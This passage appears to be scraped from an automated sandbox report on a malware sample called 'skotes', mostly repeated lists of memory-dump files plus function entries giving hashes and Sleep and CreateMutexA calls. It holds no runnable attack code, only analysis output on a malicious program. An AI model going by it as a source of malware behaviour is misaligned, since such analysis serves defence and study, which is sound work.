Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 5b90ef811dfef8ddf70a6777ca192e8f38a475773995938e578cc32aa1c63355
Instruction ID: c1c7bd41ee634a346fb502f3093a02fd0514ce33e67e8c95517f09e452feba63
Opcode Fuzzy Hash: 5b90ef811dfef8ddf70a6777ca192e8f38a475773995938e578cc32aa1c63355
Instruction Fuzzy Hash: 62312631621200DBEB08DBB8DC89B6DB776EFC2314F208619E418B72D5C77699E08B53

Function 0026A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 00cd3a9362f0d883b40df77fe7cd1fe25070596907578dea563fe6f34d56b401
Instruction ID: 26be45569a23ae5238eb0b7a20ca94f5fdf492165b0c1933de30b36816d1aa1e
Opcode Fuzzy Hash: 00cd3a9362f0d883b40df77fe7cd1fe25070596907578dea563fe6f34d56b401
Instruction Fuzzy Hash: 4F312631661201DBFB08DBB8DC89B6DB776EFC6310F208619E418B72D5C77699E08B12

Function 0026A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: b4881b11830e96484fb47178dd700d931ca3719d6d5791828df81c8fca08f47f
Instruction ID: b7dcef0b1e72e9531ee7bbb85a142990e3e6e4995171685479ff36452194033c
Opcode Fuzzy Hash: b4881b11830e96484fb47178dd700d931ca3719d6d5791828df81c8fca08f47f
Instruction Fuzzy Hash: A5313731A202019BEB08DBB8DC8DB6DB6B6EFC1314F208219E414A72D5CB7599E08E53

Function 0026A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: a6da9176cc9cde797a2777ee0392523be16dfaded989762bff6f875938a2f0bb
Instruction ID: db31020119e3d59f1d5614d3569347e015062992a085d0733a558b253c5fc462
Opcode Fuzzy Hash: a6da9176cc9cde797a2777ee0392523be16dfaded989762bff6f875938a2f0bb
Instruction Fuzzy Hash: AF312531A212018BEB08DFB8D889B6CB766EFC5314F248619E415BB2D5C73599E08F12

Function 0026A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

